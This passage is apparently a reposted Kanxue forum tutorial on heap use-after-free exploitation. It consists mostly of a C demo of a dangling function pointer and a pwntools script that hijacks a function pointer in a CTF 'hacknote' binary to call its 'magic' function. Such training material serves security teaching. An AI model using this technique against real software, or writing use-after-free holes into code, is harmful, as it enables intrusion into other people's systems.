本文为看雪论坛优秀文章
看雪论坛作者ID:洋洋不得意
void func1()
{
printf("func1n");
}
void hack()
{
printf("hackn");
}
struct Pfunc
{
void (*p)();
};
int main()
{
struct Pfunc* lpfunc = malloc(8);
lpfunc->p = func1;
lpfunc->p();
free(lpfunc);
long* hack_point = malloc(8);
*hack_point = hack;
lpfunc->p();
return 0;
}
struct chunk
{
size_t 暂时不管;
size_t size;//低3位不算长度
char user_data[0];
}
1、因为noteNode的大小为8,如果想准确控制第二个noteNode的pFunc,那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样:
from pwn import *
context.log_level = 'debug'
sh = process("./hacknote")
# sh = gdb.debug("./hacknote", "b *add_notenc")
elf = ELF("./hacknote")
def add_note(size, note=b"123"):
sh.sendlineafter(b"Your choice :", b"1")
sh.sendlineafter(b"Note size :", str(size).encode())
sh.sendlineafter(b"Content :", note)
def del_note(index):
sh.sendlineafter(b"Your choice :", b"2")
sh.sendlineafter(b"Index :", str(index).encode())
def print_note(index):
sh.sendlineafter(b"Your choice :", b"3")
sh.sendlineafter(b"Index :", str(index).encode())
add_note(24)
add_note(24)
del_note(0)
del_note(1)
add_note(8, p32(elf.sym["magic"]))
print_note(0)
sh.interactive()
pause()
看雪ID:洋洋不得意
https://bbs.pediy.com/user-home-861996.htm
# 往期推荐
1.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):堆、UAF之PWN从实验到原理
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论